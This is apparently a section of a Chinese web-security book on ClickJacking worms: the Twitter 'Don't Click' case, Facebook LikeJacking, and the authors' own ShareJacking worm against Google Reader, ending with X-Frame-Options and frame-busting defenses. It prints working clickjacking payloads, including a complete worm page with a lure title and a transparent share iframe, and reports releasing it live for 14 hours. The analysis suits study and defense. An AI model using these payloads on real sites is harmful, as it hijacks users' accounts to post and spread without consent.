9.4 ClickJacking 蠕虫
本节将带领大家走进ClickJacking的蠕虫世界,这是界面操作劫持的高级用法。下面介绍ClickJacking蠕虫产生的由来、发展以及演变。在演变过程中,会介绍LikeJacking和ShareJacking这两种蠕虫。本节中的ShareJacking蠕虫是国内首次提出的一个概念,在文中会重点介绍。
9.4.1 ClickJacking蠕虫的由来
这要从2009年初Twitter上发生的“Don'tClick”蠕虫事件说起。在2009年初,Twitter上的很多用户都发现自己的Twitter上莫名其妙地出现了下面这条广播:
Don't Click: http://tinyurl.com/amgzs6
用户实际上根本就没有广播过这条消息。这次Twitter的蠕虫事件就是使用ClickJacking技术进行传播的。这也是蠕虫首次使用ClickJacking技术手段进行传播的案例。
9.4.2 ClickJacking蠕虫技术原理分析
下面就对Twitter的这次Don't Click蠕虫做技术分析。首先,攻击者使用ClickJacking技术制作蠕虫页面,该页面的URL地址使用TINYURL短地址转http://tinyurl.com/amgzs6。页面源代码的设计要点如下。
对iframe和button标签进行CSS样式设定,设置iframe标签所在层为透明层,使iframe标签所在层位于button标签所在层的正上方:
<style> iframe { position: absolute; width: 550px; height: 228px; top: -170px; left: -400px; z-index: 2; opacity: 0; filter: alpha(opacity=0); } button { position: absolute; top: 10px; left: 10px; z-index: 1; width: 120px; } </style>
透明层下方的迷惑按钮和Twitter中的发送广播按钮重合:
<button>Don't Click</button>
透明层的内容中,status参数后的内容即为发送广播的内容:
<iframe src="http://twitter.com/home?status=Don't Click: http://tinyurl.com/amgzs6"scrolling="no"></iframe>
页面虽然简陋,但上面介绍的这个POC正是ClickJacking蠕虫最核心的框架。至此,蠕虫页面已经做好,可以开始源头的传播。攻击者首先在自己的Twitter上发一条广播:“Don't Click http://tinyurl.com/amgzs6”。当攻击者的其他好友收听到这条广播后,好奇心促使他们去单击http://tinyurl.com/amgzs6链接,进而去单击链接页面中的“Don't Click”按钮。当单击该按钮后,其实单击的是Twitter中发送广播的按钮,于是在用户不知情的情况下,用户的Twitter中发送一条广播,内容为“Don't Click: http://tinyurl.com/amgzs6”。然后,其他看到这条消息的人重复以上操作,如此循环,蠕虫就这样传播开了。
从上面的分析可以得出,要发动ClickJacking蠕虫攻击,满足以下两点必要条件即可:
· 在SNS社区网络中,找到一个可以直接使用HTTP的GET方式提交数据的页面。
· 这个页面可以被<iframe>标签包含。
9.4.3 Facebook的LikeJacking蠕虫
Twitter的这次蠕虫传播事件是ClickJacking自2008年提出以来,首次使用ClickJacking技术进行蠕虫传播的大规模攻击事件。在此之后,2010年年中,Facebook同样遭受到了ClickJacking蠕虫的攻击,因为这次蠕虫是通过劫持“Like But-ton”插件来进行传播的,所以业界也称为Like-Jacking蠕虫攻击。
Fackbook中有一项插件服务,叫“Like But-ton”。用户可以在自己的博客或自己的网站中加入“Like Button”,访客浏览时,可以单击这个按钮表示自己喜欢这篇文章。当单击结束后,访客点击的状态信息会在访客的Facebook页面上以状态更新的方式显示出来。
那么攻击者可以使用ClickJacking技术欺骗访客单击这个“Like Button”。这样访客在不知情的状态下单击“LikeButton”后,访客的Fackbook上就会自动更新出一条状态信息,显示用户访问了某某的文章。而访客的Facebook内好友看到这些信息后,可能也会好奇地单击这些信息中的链接。如此反复循环,于是蠕虫传播开始了。
9.4.4 GoogleReader的ShareJacking蠕虫
SNS社区网络是蠕虫传播的沃土,而Click-Jacking蠕虫不需要借助于XSS、CSRF等这样的漏洞就可以传播。在没有ClickJacking防御的SNS社区网络中,使得ClickJacking蠕虫传播更加顺利。
在SNS社区网络中,如微博、博客、网络书签、社区等都会用到一种非常流行的插件,这个插件就是“一键分享”功能插件,如图9-10所示。
图9-10 一键分享JiaThis
这种插件可以让用户把在网络中看到的好文章或好资源直接以广播消息的形式发布到自己的社区和好友们进行分享。在本书里,我们把发生在“一键分享”上的ClickJacking蠕虫更加精确具体地称为ShareJacking蠕虫,就是为了更加明确地表明这种模式导致的蠕虫攻击。
当时,我们对SNS网络社区做了抽样测试,除了发现Google Reader存在ShareJacking蠕虫攻击外,还发现国内SNS环境中腾讯微博、腾讯空间、腾讯朋友、搜狐微博、人人网、淘江湖均存在这种攻击。接下来,重点对Google Reader的这次ShareJacking蠕虫攻击做深入分析。
孕育ShareJacking蠕虫需要三个必备条件,除了9.4.2节中提到的两个条件:“HTTP GET发送数据”和“可以被<iframe>包含”外,第三个条件是需要这个页面是“一键分享”页面。在GoogleReader中(为方便,以下均简称GR),存在这样一个页面。我们为了测试ShareJacking蠕虫在真实网络中的传播效果,于是在GR上制造了一个ShareJacking蠕虫,使蠕虫在网络上存活了14个小时,我们在蠕虫上加了探针对传播数据进行统计。接下来介绍我们是怎么一步一步实现的。
1. 寻找一键分享页面
在GR中,有一个共享条目的功能,用户可以在里面粘贴条目,关注你的人可以看到你粘贴的内容。而且在默认情况下,共享权限向所有的人开放,如图9-11所示。
图9-11 Google Reader共享条目
GR还提供另一个页面进行共享条目的发布,这个页面使用HTTP GET方式发送数据,而且可以被<iframe>包含,如图9-12所示。
图9-12 Google Reader发布共享条目的页面
2. 蠕虫的编写
ShareJacking蠕虫的编写格式完全可以套用前面Twitter的Don't Click蠕虫编写框架。为了使蠕虫传播得更快,我们对其蠕虫页面也进行了润色,代码如下:
<!-- Author:xisigr[xeyeteam],evilcos[xeyeteam] --> <meta http-equiv=content-type content="text/html; charset=gb2312"> <title>喷血!与人人网联合推出的,网络美女聚合网站,通过点击来进行质量推荐,不错的idea,肯定火爆</title> <style> body {background-color:#555;} iframe { position: absolute; width: 600px; height: 430px; top: 0px; left: 0px; z-index: 2; opacity: 0; filter: alpha(opacity=0); } button { position: absolute; height: 35px; top: 188px; left: 48px; z-index: 1; } </style> <div><img src=img1_src_3202693.jpg /></div> <button>下一张</button> <!--被包含页面--> <iframe src="http://www.google.com/reader/link?url=http://t.cn/a9mL2R&title=喷血……网络美女聚合网站,通过点击来进行质量推荐,不错的 idea,肯定火爆!&snippet=&srcTitle=网络美女汇聚网 - 点击汇聚 - 一种新模式&srcUrl=http://t.cn/a9mL2R" scrolling="no" > </iframe> <!--加入探针--> <script type="text/javascript" src="http://js.tongji.linezing.com/2504720/tongji.js"></script> <div>2008-2011(meinvjuhe.cc,<span>美女聚合互动传媒</span>), All rights reserved.</div>
把编写好的蠕虫放到网上,蠕虫页面地址(">http://xisigr.50webs.com/mm_google.html)的短地址为http://t.cn/a9mL2R,如图9-13所示。
图9-13 ShareJacking蠕虫界面
3. 蠕虫传播后的效果
我们通过Google搜索引擎、RSS搜索引擎和探针统计这些手段,对蠕虫传播的这14个小时进行了跟踪记录。
1)Google搜索统计
在蠕虫传播的第13个小时,我们在Google(谷歌)里搜索了蠕虫中的关键字“喷血……网络美女聚合网站,通过点击来进行质量推荐,不错的idea,肯定火爆!”,如图9-14所示,已经有121条记录。
图9-14 谷歌上的ShareJacking蠕虫快照
2)RSS搜索统计
很多聚合的RSS引擎中同样可以搜索到关键字,比如来自friendfeed.com的聚合,如图9-15所示。
图9-15 RSS聚合上的
ShareJacking蠕虫感染效果
3)探针统计
源头是我们在GR上发了一条这样的消息,GR共享好友加起来不超过10人。根据探针统计,蠕虫传播的起始时间从2011年6月23日早9:00到2011年6月23日晚23点,共14个小时,如图9-16所示。
在图9-17中展示了传播的时间段统计,大家可以看到,只有9:00—23:00是有数据的。在图9-17中,第一列表示时间,第二列表示PV(总访问量),第三列表示UV(总访客数),第四列表示IP(IP数量)。
图9-16 ShareJacking蠕虫传播统计数据概览
大家通过这四列数据可以看到,随着时间的推移,蠕虫传播的数量也在递增,这就是蠕虫经典的传播模式。
图9-17 ShareJacking蠕虫传播时段统计
9.4.5 ClickJacking蠕虫爆发的可能性
如今,SNS社区网络已经是一个很庞大的网络大社会。分享已经是当前SNS网络中一个很重要的社交内容。只要是带有共享性质的网络社区,都有可能会遭受到ClickJacking蠕虫的攻击。Twitter和Facebook上的这两次蠕虫事件让人们对Click-Jacking攻击有了进一步认知的同时,也让蠕虫传播的手段有了更加多样的选择。在对GoogleReader进行的这次Sharejacking蠕虫测试,也表明了Clickjacking蠕虫攻击很容易复制。
Twitter和Facebook在经过了几次的Click-Jacking蠕虫的洗礼后,现在已经在页面中做了很好的防御。比如,Twitter的一键分享页面http://twitter.com/intent/tweet已经在HTTP头关键字中加入X-FRAME-OPTIONS来抵御Click-Jacking攻击,Facebook的一键分享页面http://www.facebook.com/sharer/sharer.php中也使用了Frame Busting脚本来进行抵御。但是,经我们测试的国内SNS网络中,还有很大一部分网站并没有对ClickJacking进行防御,这就意味着随时存在爆发大规模ClickJacking蠕虫的可能行。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论